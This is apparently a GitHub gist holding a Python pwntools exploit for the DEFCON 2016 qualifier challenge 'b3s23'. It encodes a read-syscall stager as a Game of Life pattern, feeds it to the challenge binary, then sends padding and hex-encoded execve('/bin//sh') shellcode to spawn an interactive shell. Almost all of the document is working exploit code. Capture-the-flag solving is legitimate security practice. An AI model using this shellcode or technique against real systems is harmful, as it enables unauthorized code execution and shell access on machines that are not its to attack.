Skip to content

Instantly share code, notes, and snippets.

@volpino
Created May 28, 2016 15:52
Show Gist options
  • Save volpino/265246a0acd44e880339ab687b070704 to your computer and use it in GitHub Desktop.
Save volpino/265246a0acd44e880339ab687b070704 to your computer and use it in GitHub Desktop.
DEFCON 2016 b3s23
from pwn import *
"""
c6c2XX mov dl, XX
1100011011000010
1100011011000000XXXXXXXX
1100011011000111XXXXXXXX
c6c003 mov al, 3 ; sys_read
110001101100000000000011
110001101100000000000011
53 push ebx
01010011
51 push ecx
01010001
Combined the 2 pushes with "Beehive and table" :D :D :D
5b pop ebx
01011011
101011011
59 pop ecx
01011001
cd80 int 0x80
1100110110000000
1100110110000000
1100110110000000
"""
grid = """
00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000110001101100000000010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000110001101100011100010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000100000000100000000
00000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000100100000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000
00000010000101010001100000000000101000000000011010001000110110000000001000110001000000000000000000000000000000
00000101001101010001010110110000010000000000010110001000110110000000001000110001000000000000000000000000000000
00000010000000100000010110110000000000000000000000001000000000000000001000000001000000000000000000000000000000
00000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
"""
msg = ""
grid = grid.strip()
for y, line in enumerate(grid.split()):
for x, cell in enumerate(line):
if cell == "1":
msg += "{}, {}".format(x, y) + "\n"
r = process("./b3s23")
#r = remote("b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me", 2323)
# Send grid.
r.send(msg)
# Trigger the Game of Life.
r.send("a\n")
# Wait for the 15 rounds to end.
for _ in range(15):
r.recvuntil("0\n\n")
# Send shellcode.
padding = "A" * 0x17
shellcode = "6a0b589952682f2f7368682f62696e89e3525389e1cd80".decode("hex")
r.send(padding + shellcode + "\n")
# Shell :)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment